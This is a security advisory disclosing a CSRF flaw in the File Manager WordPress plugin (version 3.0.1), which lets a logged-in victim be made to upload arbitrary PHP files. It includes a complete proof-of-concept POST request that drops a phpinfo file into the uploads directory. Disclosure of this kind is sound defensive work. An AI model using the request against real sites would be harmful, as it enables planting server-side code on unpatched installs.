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Cross-Site Request Forgery in File Manager WordPress plugin
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David Vaartjes, July 2016

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Abstract
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A Cross-Site Request Forgery (CSRF) vulnerability was found in the File
Manager WordPress Plugin. Among others, this issue can be used to upload
arbitrary PHP files to the server.

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OVE ID
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OVE-20160712-0029

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Tested versions
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This issue was succesfully tested on the File Manager [2] WordPress
Plugin version 3.0.1.

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Fix
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There is currently no fix available.

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Introduction
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The File Manager [2] WordPress Plugin is a file manager for WordPress
which can be used to upload, delete, copy, move, rename, archive and
extract files without the need for FTP. It was discovered that the File
Manager WordPress Plugin is vulnerable to Cross-Site Request Forgery.

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Details
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The upload form used by the plugin has no protection against CSRF
attacks. As a result an attacker can for example upload arbitrary PHP
files to the server.

Please note that the target user needs to be logged in.

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Proof of concept
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The target parameter holds a Base64-encoded destination path. By using
the proof of concept request below a file named info.php is uploaded to
the /wp-content/uploads/file-manager/ directory.

When uploaded, this file can be requested from the outside as follows:
http://<wp-server>/wp-content/uploads/file-manager/info.php

Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <wp-server>
Cookie: ALL_YOUR_WP_COOKIES
Connection: close
Content-Type: multipart/form-data;
boundary=---------------------------6427194103423794601262893907
	
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="cmd"
	
upload
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="target"
	
l1_d3AtY29udGVudC91cGxvYWRzL2ZpbGUtbWFuYWdlcg
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="suffix"
	
~
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="action"
	
connector
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="upload[]"; filename="info.php"
Content-Type: text/php
	
<?php
phpinfo();
?>
-----------------------------6427194103423794601262893907--

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References
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[1] https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_file_manager_wordpress_plugin.html
[2] https://wordpress.org/plugins/file-manager/